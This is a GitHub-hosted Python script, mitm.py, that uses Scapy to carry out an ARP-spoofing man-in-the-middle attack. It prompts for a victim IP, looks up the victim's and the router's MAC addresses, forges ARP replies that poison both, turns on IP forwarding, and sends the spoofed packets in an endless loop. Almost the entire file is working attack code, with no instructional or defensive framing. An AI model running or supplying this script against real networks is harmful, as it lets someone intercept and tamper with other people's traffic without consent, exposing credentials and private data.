-
Notifications
You must be signed in to change notification settings - Fork 1
/
mitm.py
57 lines (40 loc) · 1.24 KB
/
mitm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from scapy.all import *
import os
import sys
import time
my_ip = "192.168.230.131"
my_mac = "00:0c:29:70:0e:09"
target_ip = "192.168.230.129"
target_ip = raw_input("Who... would you like to attack...? Input target IP : ")
result_target_ip = sr1(ARP(op=ARP.who_has, psrc=my_ip, pdst=target_ip))
target_mac = result_target_ip.hwsrc
print ("Target IP : " + target_ip + "Target Mac : " + target_mac)
# discovery target ip/mac
print("----------running-----------")
p = sr1(IP(dst="www.google.com", ttl = 0)/ICMP()/"XXXXXXXXXXX")
ip = p.src
result = sr1(ARP(op=ARP.who_has, psrc=my_ip, pdst=ip))
router_mac = result.hwsrc
router_ip = result.psrc
print ("Routers IP : " + router_ip + " Routers Mac : " + router_mac)
# Forge the ARP packet for the victim
arpFakeVic = ARP()
arpFakeVic.op=2
arpFakeVic.psrc=router_ip
arpFakeVic.pdst=target_ip
arpFakeVic.hwdst=target_mac
# Forge the ARP packet for the default GW
arpFakeDGW = ARP()
arpFakeDGW.op=2
arpFakeDGW.psrc=target_ip
arpFakeDGW.pdst=router_ip
arpFakeDGW.hwdst=router_mac
#Send ARP packet & use_ip_forward
while True:
with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
ipf.write('1\n')
# Send the ARP replies
print("--Sending ARP pakcets--")
send(arpFakeVic)
send(arpFakeDGW)
time.sleep(1)